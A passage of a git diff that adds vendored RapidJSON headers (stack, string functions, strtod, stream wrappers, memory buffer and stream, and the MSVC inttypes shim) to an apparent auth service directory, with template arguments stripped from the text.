Bottom() { return reinterpret_cast(stack_); } + + template + const T* Bottom() const { return reinterpret_cast(stack_); } + + bool HasAllocator() const { + return allocator_ != 0; + } + + Allocator& GetAllocator() { + RAPIDJSON_ASSERT(allocator_); + return *allocator_; + } + + bool Empty() const { return stackTop_ == stack_; } + size_t GetSize() const { return static_cast(stackTop_ - stack_); } + size_t GetCapacity() const { return static_cast(stackEnd_ - stack_); } + +private: + template + void Expand(size_t count) { + // Only expand the capacity if the current stack exists. Otherwise just create a stack with initial capacity. + size_t newCapacity; + if (stack_ == 0) { + if (!allocator_) + ownAllocator_ = allocator_ = RAPIDJSON_NEW(Allocator)(); + newCapacity = initialCapacity_; + } else { + newCapacity = GetCapacity(); + newCapacity += (newCapacity + 1) / 2; + } + size_t newSize = GetSize() + sizeof(T) * count; + if (newCapacity < newSize) + newCapacity = newSize; + + Resize(newCapacity); + } + + void Resize(size_t newCapacity) { + const size_t size = GetSize(); // Backup the current size + stack_ = static_cast(allocator_->Realloc(stack_, GetCapacity(), newCapacity)); + stackTop_ = stack_ + size; + stackEnd_ = stack_ + newCapacity; + } + + void Destroy() { + Allocator::Free(stack_); + RAPIDJSON_DELETE(ownAllocator_); // Only delete if it is owned by the stack + } + + // Prohibit copy constructor & assignment operator. + Stack(const Stack&); + Stack& operator=(const Stack&); + + Allocator* allocator_; + Allocator* ownAllocator_; + char *stack_; + char *stackTop_; + char *stackEnd_; + size_t initialCapacity_; +}; + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#if defined(__clang__) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_STACK_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/strfunc.h b/services/service2/src/auth_service/rapidjson/internal/strfunc.h new file mode 100644 index 0000000..b698a8f --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/strfunc.h @@ -0,0 +1,83 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_INTERNAL_STRFUNC_H_ +#define RAPIDJSON_INTERNAL_STRFUNC_H_ + +#include "../stream.h" +#include + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +//! Custom strlen() which works on different character types. +/*! \tparam Ch Character type (e.g. char, wchar_t, short) + \param s Null-terminated input string. + \return Number of characters in the string. + \note This has the same semantics as strlen(), the return value is not number of Unicode codepoints. +*/ +template +inline SizeType StrLen(const Ch* s) { + RAPIDJSON_ASSERT(s != 0); + const Ch* p = s; + while (*p) ++p; + return SizeType(p - s); +} + +template <> +inline SizeType StrLen(const char* s) { + return SizeType(std::strlen(s)); +} + +template <> +inline SizeType StrLen(const wchar_t* s) { + return SizeType(std::wcslen(s)); +} + +//! Custom strcmpn() which works on different character types. +/*! \tparam Ch Character type (e.g. char, wchar_t, short) + \param s1 Null-terminated input string. + \param s2 Null-terminated input string. + \return 0 if equal +*/ +template +inline int StrCmp(const Ch* s1, const Ch* s2) { + RAPIDJSON_ASSERT(s1 != 0); + RAPIDJSON_ASSERT(s2 != 0); + while(*s1 && (*s1 == *s2)) { s1++; s2++; } + return static_cast(*s1) < static_cast(*s2) ? -1 : static_cast(*s1) > static_cast(*s2); +} + +//! Returns number of code points in a encoded string. +template +bool CountStringCodePoint(const typename Encoding::Ch* s, SizeType length, SizeType* outCount) { + RAPIDJSON_ASSERT(s != 0); + RAPIDJSON_ASSERT(outCount != 0); + GenericStringStream is(s); + const typename Encoding::Ch* end = s + length; + SizeType count = 0; + while (is.src_ < end) { + unsigned codepoint; + if (!Encoding::Decode(is, &codepoint)) + return false; + count++; + } + *outCount = count; + return true; +} + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_INTERNAL_STRFUNC_H_ diff --git a/services/service2/src/auth_service/rapidjson/internal/strtod.h b/services/service2/src/auth_service/rapidjson/internal/strtod.h new file mode 100644 index 0000000..55f0e38 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/strtod.h @@ -0,0 +1,293 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_STRTOD_ +#define RAPIDJSON_STRTOD_ + +#include "ieee754.h" +#include "biginteger.h" +#include "diyfp.h" +#include "pow10.h" +#include +#include + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +inline double FastPath(double significand, int exp) { + if (exp < -308) + return 0.0; + else if (exp >= 0) + return significand * internal::Pow10(exp); + else + return significand / internal::Pow10(-exp); +} + +inline double StrtodNormalPrecision(double d, int p) { + if (p < -308) { + // Prevent expSum < -308, making Pow10(p) = 0 + d = FastPath(d, -308); + d = FastPath(d, p + 308); + } + else + d = FastPath(d, p); + return d; +} + +template +inline T Min3(T a, T b, T c) { + T m = a; + if (m > b) m = b; + if (m > c) m = c; + return m; +} + +inline int CheckWithinHalfULP(double b, const BigInteger& d, int dExp) { + const Double db(b); + const uint64_t bInt = db.IntegerSignificand(); + const int bExp = db.IntegerExponent(); + const int hExp = bExp - 1; + + int dS_Exp2 = 0, dS_Exp5 = 0, bS_Exp2 = 0, bS_Exp5 = 0, hS_Exp2 = 0, hS_Exp5 = 0; + + // Adjust for decimal exponent + if (dExp >= 0) { + dS_Exp2 += dExp; + dS_Exp5 += dExp; + } + else { + bS_Exp2 -= dExp; + bS_Exp5 -= dExp; + hS_Exp2 -= dExp; + hS_Exp5 -= dExp; + } + + // Adjust for binary exponent + if (bExp >= 0) + bS_Exp2 += bExp; + else { + dS_Exp2 -= bExp; + hS_Exp2 -= bExp; + } + + // Adjust for half ulp exponent + if (hExp >= 0) + hS_Exp2 += hExp; + else { + dS_Exp2 -= hExp; + bS_Exp2 -= hExp; + } + + // Remove common power of two factor from all three scaled values + int common_Exp2 = Min3(dS_Exp2, bS_Exp2, hS_Exp2); + dS_Exp2 -= common_Exp2; + bS_Exp2 -= common_Exp2; + hS_Exp2 -= common_Exp2; + + BigInteger dS = d; + dS.MultiplyPow5(static_cast(dS_Exp5)) <<= static_cast(dS_Exp2); + + BigInteger bS(bInt); + bS.MultiplyPow5(static_cast(bS_Exp5)) <<= static_cast(bS_Exp2); + + BigInteger hS(1); + hS.MultiplyPow5(static_cast(hS_Exp5)) <<= static_cast(hS_Exp2); + + BigInteger delta(0); + dS.Difference(bS, &delta); + + return delta.Compare(hS); +} + +inline bool StrtodFast(double d, int p, double* result) { + // Use fast path for string-to-double conversion if possible + // see http://www.exploringbinary.com/fast-path-decimal-to-floating-point-conversion/ + if (p > 22 && p < 22 + 16) { + // Fast Path Cases In Disguise + d *= internal::Pow10(p - 22); + p = 22; + } + + if (p >= -22 && p <= 22 && d <= 9007199254740991.0) { // 2^53 - 1 + *result = FastPath(d, p); + return true; + } + else + return false; +} + +// Compute an approximation and see if it is within 1/2 ULP +template +inline bool StrtodDiyFp(const Ch* decimals, int dLen, int dExp, double* result) { + uint64_t significand = 0; + int i = 0; // 2^64 - 1 = 18446744073709551615, 1844674407370955161 = 0x1999999999999999 + for (; i < dLen; i++) { + if (significand > RAPIDJSON_UINT64_C2(0x19999999, 0x99999999) || + (significand == RAPIDJSON_UINT64_C2(0x19999999, 0x99999999) && decimals[i] > Ch('5'))) + break; + significand = significand * 10u + static_cast(decimals[i] - Ch('0')); + } + + if (i < dLen && decimals[i] >= Ch('5')) // Rounding + significand++; + + int remaining = dLen - i; + const int kUlpShift = 3; + const int kUlp = 1 << kUlpShift; + int64_t error = (remaining == 0) ? 0 : kUlp / 2; + + DiyFp v(significand, 0); + v = v.Normalize(); + error <<= -v.e; + + dExp += remaining; + + int actualExp; + DiyFp cachedPower = GetCachedPower10(dExp, &actualExp); + if (actualExp != dExp) { + static const DiyFp kPow10[] = { + DiyFp(RAPIDJSON_UINT64_C2(0xa0000000, 0x00000000), -60), // 10^1 + DiyFp(RAPIDJSON_UINT64_C2(0xc8000000, 0x00000000), -57), // 10^2 + DiyFp(RAPIDJSON_UINT64_C2(0xfa000000, 0x00000000), -54), // 10^3 + DiyFp(RAPIDJSON_UINT64_C2(0x9c400000, 0x00000000), -50), // 10^4 + DiyFp(RAPIDJSON_UINT64_C2(0xc3500000, 0x00000000), -47), // 10^5 + DiyFp(RAPIDJSON_UINT64_C2(0xf4240000, 0x00000000), -44), // 10^6 + DiyFp(RAPIDJSON_UINT64_C2(0x98968000, 0x00000000), -40) // 10^7 + }; + int adjustment = dExp - actualExp; + RAPIDJSON_ASSERT(adjustment >= 1 && adjustment < 8); + v = v * kPow10[adjustment - 1]; + if (dLen + adjustment > 19) // has more digits than decimal digits in 64-bit + error += kUlp / 2; + } + + v = v * cachedPower; + + error += kUlp + (error == 0 ? 0 : 1); + + const int oldExp = v.e; + v = v.Normalize(); + error <<= oldExp - v.e; + + const int effectiveSignificandSize = Double::EffectiveSignificandSize(64 + v.e); + int precisionSize = 64 - effectiveSignificandSize; + if (precisionSize + kUlpShift >= 64) { + int scaleExp = (precisionSize + kUlpShift) - 63; + v.f >>= scaleExp; + v.e += scaleExp; + error = (error >> scaleExp) + 1 + kUlp; + precisionSize -= scaleExp; + } + + DiyFp rounded(v.f >> precisionSize, v.e + precisionSize); + const uint64_t precisionBits = (v.f & ((uint64_t(1) << precisionSize) - 1)) * kUlp; + const uint64_t halfWay = (uint64_t(1) << (precisionSize - 1)) * kUlp; + if (precisionBits >= halfWay + static_cast(error)) { + rounded.f++; + if (rounded.f & (DiyFp::kDpHiddenBit << 1)) { // rounding overflows mantissa (issue #340) + rounded.f >>= 1; + rounded.e++; + } + } + + *result = rounded.ToDouble(); + + return halfWay - static_cast(error) >= precisionBits || precisionBits >= halfWay + static_cast(error); +} + +template +inline double StrtodBigInteger(double approx, const Ch* decimals, int dLen, int dExp) { + RAPIDJSON_ASSERT(dLen >= 0); + const BigInteger dInt(decimals, static_cast(dLen)); + Double a(approx); + int cmp = CheckWithinHalfULP(a.Value(), dInt, dExp); + if (cmp < 0) + return a.Value(); // within half ULP + else if (cmp == 0) { + // Round towards even + if (a.Significand() & 1) + return a.NextPositiveDouble(); + else + return a.Value(); + } + else // adjustment + return a.NextPositiveDouble(); +} + +template +inline double StrtodFullPrecision(double d, int p, const Ch* decimals, size_t length, size_t decimalPosition, int exp) { + RAPIDJSON_ASSERT(d >= 0.0); + RAPIDJSON_ASSERT(length >= 1); + + double result = 0.0; + if (StrtodFast(d, p, &result)) + return result; + + RAPIDJSON_ASSERT(length <= INT_MAX); + int dLen = static_cast(length); + + RAPIDJSON_ASSERT(length >= decimalPosition); + RAPIDJSON_ASSERT(length - decimalPosition <= INT_MAX); + int dExpAdjust = static_cast(length - decimalPosition); + + RAPIDJSON_ASSERT(exp >= INT_MIN + dExpAdjust); + int dExp = exp - dExpAdjust; + + // Make sure length+dExp does not overflow + RAPIDJSON_ASSERT(dExp <= INT_MAX - dLen); + + // Trim leading zeros + while (dLen > 0 && *decimals == '0') { + dLen--; + decimals++; + } + + // Trim trailing zeros + while (dLen > 0 && decimals[dLen - 1] == '0') { + dLen--; + dExp++; + } + + if (dLen == 0) { // Buffer only contains zeros. + return 0.0; + } + + // Trim right-most digits + const int kMaxDecimalDigit = 767 + 1; + if (dLen > kMaxDecimalDigit) { + dExp += dLen - kMaxDecimalDigit; + dLen = kMaxDecimalDigit; + } + + // If too small, underflow to zero. + // Any x <= 10^-324 is interpreted as zero. + if (dLen + dExp <= -324) + return 0.0; + + // If too large, overflow to infinity. + // Any x >= 10^309 is interpreted as +infinity. + if (dLen + dExp > 309) + return std::numeric_limits::infinity(); + + if (StrtodDiyFp(decimals, dLen, dExp, &result)) + return result; + + // Use approximation from StrtodDiyFp and make adjustment with BigInteger comparison + return StrtodBigInteger(result, decimals, dLen, dExp); +} + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_STRTOD_ diff --git a/services/service2/src/auth_service/rapidjson/internal/swap.h b/services/service2/src/auth_service/rapidjson/internal/swap.h new file mode 100644 index 0000000..2cf92f9 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/internal/swap.h @@ -0,0 +1,46 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_INTERNAL_SWAP_H_ +#define RAPIDJSON_INTERNAL_SWAP_H_ + +#include "../rapidjson.h" + +#if defined(__clang__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(c++98-compat) +#endif + +RAPIDJSON_NAMESPACE_BEGIN +namespace internal { + +//! Custom swap() to avoid dependency on C++ header +/*! \tparam T Type of the arguments to swap, should be instantiated with primitive C++ types only. + \note This has the same semantics as std::swap(). +*/ +template +inline void Swap(T& a, T& b) RAPIDJSON_NOEXCEPT { + T tmp = a; + a = b; + b = tmp; +} + +} // namespace internal +RAPIDJSON_NAMESPACE_END + +#if defined(__clang__) +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_INTERNAL_SWAP_H_ diff --git a/services/service2/src/auth_service/rapidjson/istreamwrapper.h b/services/service2/src/auth_service/rapidjson/istreamwrapper.h new file mode 100644 index 0000000..01437ec --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/istreamwrapper.h @@ -0,0 +1,128 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_ISTREAMWRAPPER_H_ +#define RAPIDJSON_ISTREAMWRAPPER_H_ + +#include "stream.h" +#include +#include + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(padded) +#elif defined(_MSC_VER) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4351) // new behavior: elements of array 'array' will be default initialized +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Wrapper of \c std::basic_istream into RapidJSON's Stream concept. +/*! + The classes can be wrapped including but not limited to: + + - \c std::istringstream + - \c std::stringstream + - \c std::wistringstream + - \c std::wstringstream + - \c std::ifstream + - \c std::fstream + - \c std::wifstream + - \c std::wfstream + + \tparam StreamType Class derived from \c std::basic_istream. +*/ + +template +class BasicIStreamWrapper { +public: + typedef typename StreamType::char_type Ch; + + //! Constructor. + /*! + \param stream stream opened for read. + */ + BasicIStreamWrapper(StreamType &stream) : stream_(stream), buffer_(peekBuffer_), bufferSize_(4), bufferLast_(0), current_(buffer_), readCount_(0), count_(0), eof_(false) { + Read(); + } + + //! Constructor. + /*! + \param stream stream opened for read. + \param buffer user-supplied buffer. + \param bufferSize size of buffer in bytes. Must >=4 bytes. + */ + BasicIStreamWrapper(StreamType &stream, char* buffer, size_t bufferSize) : stream_(stream), buffer_(buffer), bufferSize_(bufferSize), bufferLast_(0), current_(buffer_), readCount_(0), count_(0), eof_(false) { + RAPIDJSON_ASSERT(bufferSize >= 4); + Read(); + } + + Ch Peek() const { return *current_; } + Ch Take() { Ch c = *current_; Read(); return c; } + size_t Tell() const { return count_ + static_cast(current_ - buffer_); } + + // Not implemented + void Put(Ch) { RAPIDJSON_ASSERT(false); } + void Flush() { RAPIDJSON_ASSERT(false); } + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + + // For encoding detection only. + const Ch* Peek4() const { + return (current_ + 4 - !eof_ <= bufferLast_) ? current_ : 0; + } + +private: + BasicIStreamWrapper(); + BasicIStreamWrapper(const BasicIStreamWrapper&); + BasicIStreamWrapper& operator=(const BasicIStreamWrapper&); + + void Read() { + if (current_ < bufferLast_) + ++current_; + else if (!eof_) { + count_ += readCount_; + readCount_ = bufferSize_; + bufferLast_ = buffer_ + readCount_ - 1; + current_ = buffer_; + + if (!stream_.read(buffer_, static_cast(bufferSize_))) { + readCount_ = static_cast(stream_.gcount()); + *(bufferLast_ = buffer_ + readCount_) = '\0'; + eof_ = true; + } + } + } + + StreamType &stream_; + Ch peekBuffer_[4], *buffer_; + size_t bufferSize_; + Ch *bufferLast_; + Ch *current_; + size_t readCount_; + size_t count_; //!< Number of characters read + bool eof_; +}; + +typedef BasicIStreamWrapper IStreamWrapper; +typedef BasicIStreamWrapper WIStreamWrapper; + +#if defined(__clang__) || defined(_MSC_VER) +RAPIDJSON_DIAG_POP +#endif + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_ISTREAMWRAPPER_H_ diff --git a/services/service2/src/auth_service/rapidjson/memorybuffer.h b/services/service2/src/auth_service/rapidjson/memorybuffer.h new file mode 100644 index 0000000..ffbc41e --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/memorybuffer.h @@ -0,0 +1,70 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_MEMORYBUFFER_H_ +#define RAPIDJSON_MEMORYBUFFER_H_ + +#include "stream.h" +#include "internal/stack.h" + +RAPIDJSON_NAMESPACE_BEGIN + +//! Represents an in-memory output byte stream. +/*! + This class is mainly for being wrapped by EncodedOutputStream or AutoUTFOutputStream. + + It is similar to FileWriteBuffer but the destination is an in-memory buffer instead of a file. + + Differences between MemoryBuffer and StringBuffer: + 1. StringBuffer has Encoding but MemoryBuffer is only a byte buffer. + 2. StringBuffer::GetString() returns a null-terminated string. MemoryBuffer::GetBuffer() returns a buffer without terminator. + + \tparam Allocator type for allocating memory buffer. + \note implements Stream concept +*/ +template +struct GenericMemoryBuffer { + typedef char Ch; // byte + + GenericMemoryBuffer(Allocator* allocator = 0, size_t capacity = kDefaultCapacity) : stack_(allocator, capacity) {} + + void Put(Ch c) { *stack_.template Push() = c; } + void Flush() {} + + void Clear() { stack_.Clear(); } + void ShrinkToFit() { stack_.ShrinkToFit(); } + Ch* Push(size_t count) { return stack_.template Push(count); } + void Pop(size_t count) { stack_.template Pop(count); } + + const Ch* GetBuffer() const { + return stack_.template Bottom(); + } + + size_t GetSize() const { return stack_.GetSize(); } + + static const size_t kDefaultCapacity = 256; + mutable internal::Stack stack_; +}; + +typedef GenericMemoryBuffer<> MemoryBuffer; + +//! Implement specialized version of PutN() with memset() for better performance. +template<> +inline void PutN(MemoryBuffer& memoryBuffer, char c, size_t n) { + std::memset(memoryBuffer.stack_.Push(n), c, n * sizeof(c)); +} + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_MEMORYBUFFER_H_ diff --git a/services/service2/src/auth_service/rapidjson/memorystream.h b/services/service2/src/auth_service/rapidjson/memorystream.h new file mode 100644 index 0000000..77af6c9 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/memorystream.h @@ -0,0 +1,71 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_MEMORYSTREAM_H_ +#define RAPIDJSON_MEMORYSTREAM_H_ + +#include "stream.h" + +#ifdef __clang__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(unreachable-code) +RAPIDJSON_DIAG_OFF(missing-noreturn) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Represents an in-memory input byte stream. +/*! + This class is mainly for being wrapped by EncodedInputStream or AutoUTFInputStream. + + It is similar to FileReadBuffer but the source is an in-memory buffer instead of a file. + + Differences between MemoryStream and StringStream: + 1. StringStream has encoding but MemoryStream is a byte stream. + 2. MemoryStream needs size of the source buffer and the buffer don't need to be null terminated. StringStream assume null-terminated string as source. + 3. MemoryStream supports Peek4() for encoding detection. StringStream is specified with an encoding so it should not have Peek4(). + \note implements Stream concept +*/ +struct MemoryStream { + typedef char Ch; // byte + + MemoryStream(const Ch *src, size_t size) : src_(src), begin_(src), end_(src + size), size_(size) {} + + Ch Peek() const { return RAPIDJSON_UNLIKELY(src_ == end_) ? '\0' : *src_; } + Ch Take() { return RAPIDJSON_UNLIKELY(src_ == end_) ? '\0' : *src_++; } + size_t Tell() const { return static_cast(src_ - begin_); } + + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + void Put(Ch) { RAPIDJSON_ASSERT(false); } + void Flush() { RAPIDJSON_ASSERT(false); } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + + // For encoding detection only. + const Ch* Peek4() const { + return Tell() + 4 <= size_ ? src_ : 0; + } + + const Ch* src_; //!< Current read position. + const Ch* begin_; //!< Original head of the string. + const Ch* end_; //!< End of stream. + size_t size_; //!< Size of the stream. +}; + +RAPIDJSON_NAMESPACE_END + +#ifdef __clang__ +RAPIDJSON_DIAG_POP +#endif + +#endif // RAPIDJSON_MEMORYBUFFER_H_ diff --git a/services/service2/src/auth_service/rapidjson/msinttypes/inttypes.h b/services/service2/src/auth_service/rapidjson/msinttypes/inttypes.h new file mode 100644 index 0000000..1811128 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/msinttypes/inttypes.h @@ -0,0 +1,316 @@ +// ISO C9x compliant inttypes.h for Microsoft Visual Studio +// Based on ISO/IEC 9899:TC2 Committee draft (May 6, 2005) WG14/N1124 +// +// Copyright (c) 2006-2013 Alexander Chemeris +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions are met: +// +// 1. Redistributions of source code must retain the above copyright notice, +// this list of conditions and the following disclaimer. +// +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// +// 3. Neither the name of the product nor the names of its contributors may +// be used to endorse or promote products derived from this software +// without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED +// WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO +// EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +// +/////////////////////////////////////////////////////////////////////////////// + +// The above software in this distribution may have been modified by +// THL A29 Limited ("Tencent Modifications"). +// All Tencent Modifications are Copyright (C) 2015 THL A29 Limited. + +#ifndef _MSC_VER // [ +#error "Use this header only with Microsoft Visual C++ compilers!" +#endif // _MSC_VER ] + +#ifndef _MSC_INTTYPES_H_ // [ +#define _MSC_INTTYPES_H_ + +#if _MSC_VER > 1000 +#pragma once +#endif + +#include "stdint.h" + +// miloyip: VC supports inttypes.h since VC2013 +#if _MSC_VER >= 1800 +#include +#else + +// 7.8 Format conversion of integer types + +typedef struct { + intmax_t quot; + intmax_t rem; +} imaxdiv_t; + +// 7.8.1 Macros for format specifiers + +#if !defined(__cplusplus) || defined(__STDC_FORMAT_MACROS) // [ See footnote 185 at page 198 + +// The fprintf macros for signed integers are: +#define PRId8 "d" +#define PRIi8 "i" +#define PRIdLEAST8 "d" +#define PRIiLEAST8 "i" +#define PRIdFAST8 "d" +#define PRIiFAST8 "i" + +#define PRId16 "hd" +#define PRIi16 "hi" +#define PRIdLEAST16 "hd" +#define PRIiLEAST16 "hi" +#define PRIdFAST16 "hd" +#define PRIiFAST16 "hi" + +#define PRId32 "I32d" +#define PRIi32 "I32i" +#define PRIdLEAST32 "I32d" +#define PRIiLEAST32 "I32i" +#define PRIdFAST32 "I32d" +#define PRIiFAST32 "I32i" + +#define PRId64 "I64d" +#define PRIi64 "I64i" +#define PRIdLEAST64 "I64d" +#define PRIiLEAST64 "I64i" +#define PRIdFAST64 "I64d" +#define PRIiFAST64 "I64i" + +#define PRIdMAX "I64d" +#define PRIiMAX "I64i" + +#define PRIdPTR "Id" +#define PRIiPTR "Ii" + +// The fprintf macros for unsigned integers are: +#define PRIo8 "o" +#define PRIu8 "u" +#define PRIx8 "x" +#define PRIX8 "X" +#define PRIoLEAST8 "o" +#define PRIuLEAST8 "u" +#define PRIxLEAST8 "x" +#define PRIXLEAST8 "X" +#define PRIoFAST8 "o" +#define PRIuFAST8 "u" +#define PRIxFAST8 "x" +#define PRIXFAST8 "X" + +#define PRIo16 "ho" +#define PRIu16 "hu" +#define PRIx16 "hx" +#define PRIX16 "hX" +#define PRIoLEAST16 "ho" +#define PRIuLEAST16 "hu" +#define PRIxLEAST16 "hx" +#define PRIXLEAST16 "hX" +#define PRIoFAST16 "ho" +#define PRIuFAST16 "hu" +#define PRIxFAST16 "hx" +#define PRIXFAST16 "hX" + +#define PRIo32 "I32o" +#define PRIu32 "I32u" +#define PRIx32 "I32x" +#define PRIX32 "I32X" +#define PRIoLEAST32 "I32o" +#define PRIuLEAST32 "I32u" +#define PRIxLEAST32 "I32x" +#define PRIXLEAST32 "I32X" +#define PRIoFAST32 "I32o" +#define PRIuFAST32 "I32u" +#define PRIxFAST32 "I32x" +#define PRIXFAST32 "I32X" + +#define PRIo64 "I64o" +#define PRIu64 "I64u" +#define PRIx64 "I64x" +#define PRIX64 "I64X" +#define PRIoLEAST64 "I64o" +#define PRIuLEAST64 "I64u" +#define PRIxLEAST64 "I64x" +#define PRIXLEAST64 "I64X" +#define PRIoFAST64 "I64o" +#define PRIuFAST64 "I64u" +#define PRIxFAST64 "I64x" +#define PRIXFAST64 "I64X" + +#define PRIoMAX "I64o" +#define PRIuMAX "I64u" +#define PRIxMAX "I64x" +#define PRIXMAX "I64X" + +#define PRIoPTR "Io" +#define PRIuPTR "Iu" +#define PRIxPTR "Ix" +#define PRIXPTR "IX" + +// The fscanf macros for signed integers are: +#define SCNd8 "d" +#define SCNi8 "i" +#define SCNdLEAST8 "d" +#define SCNiLEAST8 "i" +#define SCNdFAST8 "d" +#define SCNiFAST8 "i" + +#define SCNd16 "hd" +#define SCNi16 "hi" +#define SCNdLEAST16 "hd" +#define SCNiLEAST16 "hi" +#define SCNdFAST16 "hd" +#define SCNiFAST16 "hi" + +#define SCNd32 "ld" +#define SCNi32 "li" +#define SCNdLEAST32 "ld" +#define SCNiLEAST32 "li" +#define SCNdFAST32 "ld" +#define SCNiFAST32 "li" + +#define SCNd64 "I64d" +#define SCNi64 "I64i" +#define SCNdLEAST64 "I64d" +#define SCNiLEAST64 "I64i" +#define SCNdFAST64 "I64d" +#define SCNiFAST64 "I64i" + +#define SCNdMAX "I64d" +#define SCNiMAX "I64i" + +#ifdef _WIN64 // [ +# define SCNdPTR "I64d" +# define SCNiPTR "I64i" +#else // _WIN64 ][ +# define SCNdPTR "ld" +# define SCNiPTR "li" +#endif // _WIN64 ] + +// The fscanf macros for unsigned integers are: +#define SCNo8 "o" +#define SCNu8 "u" +#define SCNx8 "x" +#define SCNX8 "X" +#define SCNoLEAST8 "o" +#define SCNuLEAST8 "u" +#define SCNxLEAST8 "x" +#define SCNXLEAST8 "X" +#define SCNoFAST8 "o" +#define SCNuFAST8 "u" +#define SCNxFAST8 "x" +#define SCNXFAST8 "X" + +#define SCNo16 "ho" +#define SCNu16 "hu" +#define SCNx16 "hx" +#define SCNX16 "hX" 